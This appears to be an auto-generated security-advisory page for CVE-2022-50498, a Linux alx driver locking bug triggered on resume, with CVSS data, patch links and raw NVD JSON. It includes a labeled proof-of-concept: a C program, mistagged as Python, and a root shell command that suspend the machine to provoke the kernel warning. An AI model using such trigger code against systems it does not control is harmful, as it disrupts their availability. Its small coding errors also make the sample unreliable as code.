Security Vulnerability Report
中文
CVE-2022-50498 CVSS 5.5 MEDIUM

CVE-2022-50498

Published: 2025-10-04 16:15:47
Last Modified: 2026-01-22 19:57:25
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: eth: alx: take rtnl_lock on resume Zbynek reports that alx trips an rtnl assertion on resume: RTNL: assertion failed at net/core/dev.c (2891) RIP: 0010:netif_set_real_num_tx_queues+0x1ac/0x1c0 Call Trace: <TASK> __alx_open+0x230/0x570 [alx] alx_resume+0x54/0x80 [alx] ? pci_legacy_resume+0x80/0x80 dpm_run_callback+0x4a/0x150 device_resume+0x8b/0x190 async_resume+0x19/0x30 async_run_entry_fn+0x30/0x130 process_one_work+0x1e5/0x3b0 indeed the driver does not hold rtnl_lock during its internal close and re-open functions during suspend/resume. Note that this is not a huge bug as the driver implements its own locking, and does not implement changing the number of queues, but we need to silence the splat.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux kernel < 6ad1c94e1e7e374d88f0cfd77936dddb8339aaba
Linux kernel < 6f1991a940b90753b34570f093a21dba366e8cc0
Linux kernel < a845a0c4bdece2c0073ecea2fca7c4d5f0550f78
Linux kernel < c0323c0fd07804d5874699e93f935cda0d989c67

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC: Trigger CVE-2022-50498 by suspending and resuming the system // This will cause RTNL assertion failure in alx driver during resume // Requires: System with alx ethernet driver loaded #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> int main(int argc, char *argv[]) { int fd; const char *state = "mem"; // Suspend to RAM // Check if running as root (required for suspend) if (getuid() != 0) { fprintf(stderr, "This PoC requires root privileges\n"); return 1; } // Open the power state file fd = open("/sys/power/state", O_WRONLY); if (fd < 0) { perror("Failed to open /sys/power/state"); return 1; } printf("Triggering system suspend...\n"); printf("System will resume shortly, check dmesg for RTNL assertion failure\n"); // Write to power state file to trigger suspend if (write(fd, state, strlen(state)) != strlen(state)) { perror("Failed to write to /sys/power/state"); close(fd); return 1; } close(fd); printf("System resumed. Check kernel logs (dmesg) for:\n"); printf(" RTNL: assertion failed at net/core/dev.c (2891)\n"); printf(" RIP: netif_set_real_num_tx_queues+0x1ac/0x1c0\n"); return 0; } // Alternative: Manual trigger via shell // $ sudo bash -c 'echo mem > /sys/power/state' // After resume, check dmesg for the assertion failure // Expected output in vulnerable kernel: // RTNL: assertion failed at net/core/dev.c (2891) // Call Trace: // __alx_open+0x230/0x570 [alx] // alx_resume+0x54/0x80 [alx] // dpm_run_callback+0x4a/0x150 // device_resume+0x8b/0x190

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50498", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:46.907", "lastModified": "2026-01-22T19:57:24.820", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\neth: alx: take rtnl_lock on resume\n\nZbynek reports that alx trips an rtnl assertion on resume:\n\n RTNL: assertion failed at net/core/dev.c (2891)\n RIP: 0010:netif_set_real_num_tx_queues+0x1ac/0x1c0\n Call Trace:\n <TASK>\n __alx_open+0x230/0x570 [alx]\n alx_resume+0x54/0x80 [alx]\n ? pci_legacy_resume+0x80/0x80\n dpm_run_callback+0x4a/0x150\n device_resume+0x8b/0x190\n async_resume+0x19/0x30\n async_run_entry_fn+0x30/0x130\n process_one_work+0x1e5/0x3b0\n\nindeed the driver does not hold rtnl_lock during its internal close\nand re-open functions during suspend/resume. Note that this is not\na huge bug as the driver implements its own locking, and does not\nimplement changing the number of queues, but we need to silence\nthe splat."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.14", "versionEndExcluding": "5.15.75", "matchCriteriaId": "056C04EC-43AC-4504-8293-443D00349A66"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "5.19.17", "matchCriteriaId": "19B4C3A4-E5C3-41DC-BB14-BE72858E7D35"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0", "versionEndExcluding": "6.0.3", "matchCriteriaId": "5BCD8201-B847-4442-B894-70D430128DEF"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/6ad1c94e1e7e374d88f0cfd77936dddb8339aaba", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6f1991a940b90753b34570f093a21dba366e8cc0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a845a0c4bdece2c0073ecea2fca7c4d5f0550f78", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c0323c0fd07804d5874699e93f935cda0d989c67", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}